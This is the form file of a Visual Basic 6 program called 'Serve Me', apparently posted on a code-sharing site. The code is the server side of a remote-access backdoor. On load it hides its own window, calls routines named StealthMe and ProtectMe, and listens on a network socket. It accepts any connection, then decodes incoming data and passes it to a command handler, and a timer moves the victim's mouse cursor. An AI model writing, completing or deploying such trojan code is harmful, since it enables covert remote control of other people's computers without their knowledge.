📄 form1.frm
字号:
VERSION 5.00
Object = "{248DD890-BB45-11CF-9ABC-0080C7E7B78D}#1.0#0"; "MSWINSCK.OCX"
Begin VB.Form Main
BorderStyle = 1 'Fixed Single
Caption = " Serve Me"
ClientHeight = 30
ClientLeft = 3375
ClientTop = 2865
ClientWidth = 1830
ControlBox = 0 'False
Icon = "Form1.frx":0000
LinkTopic = "Form1"
MaxButton = 0 'False
MinButton = 0 'False
ScaleHeight = 30
ScaleWidth = 1830
Visible = 0 'False
Begin VB.ListBox List1
Height = 1230
Left = 1320
Sorted = -1 'True
TabIndex = 1
Top = 0
Width = 495
End
Begin VB.DriveListBox Drive1
Height = 315
Left = 0
TabIndex = 0
Top = 840
Width = 1215
End
Begin VB.Timer MouseTime
Enabled = 0 'False
Left = 720
Top = 240
End
Begin MSWinsockLib.Winsock Time
Left = 0
Top = 360
_ExtentX = 741
_ExtentY = 741
_Version = 393216
End
Begin MSWinsockLib.Winsock Sock
Left = 0
Top = 0
_ExtentX = 741
_ExtentY = 741
_Version = 393216
End
End
Attribute VB_Name = "Main"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Private Sub Form_Load()
E_P = False
Call ServerStartup
StealthMe
ProtectMe
Sock.Listen
End Sub
Private Sub MouseTime_Timer()
SetCursorPos x, y
'MsgBox x & " " & y
End Sub
Private Sub Sock_Close()
If E_P = True Then
ElseIf E_P = False Then
Sock.Close
Sock.Listen
End If
End Sub
Private Sub Sock_ConnectionRequest(ByVal requestID As Long)
If Sock.State <> sckClosed Then _
Sock.Close
Sock.Accept requestID
Sock.SendData "ServeMe 1.x"
End Sub
Private Sub Sock_DataArrival(ByVal bytesTotal As Long)
Dim data As String, out As String
Sock.GetData data, vbString, bytesTotal
out = DecodeData(data)
check out
'MsgBox out
End Sub
Private Sub Sock_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
Sock.SendData Number & "-" & Description
End Sub
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -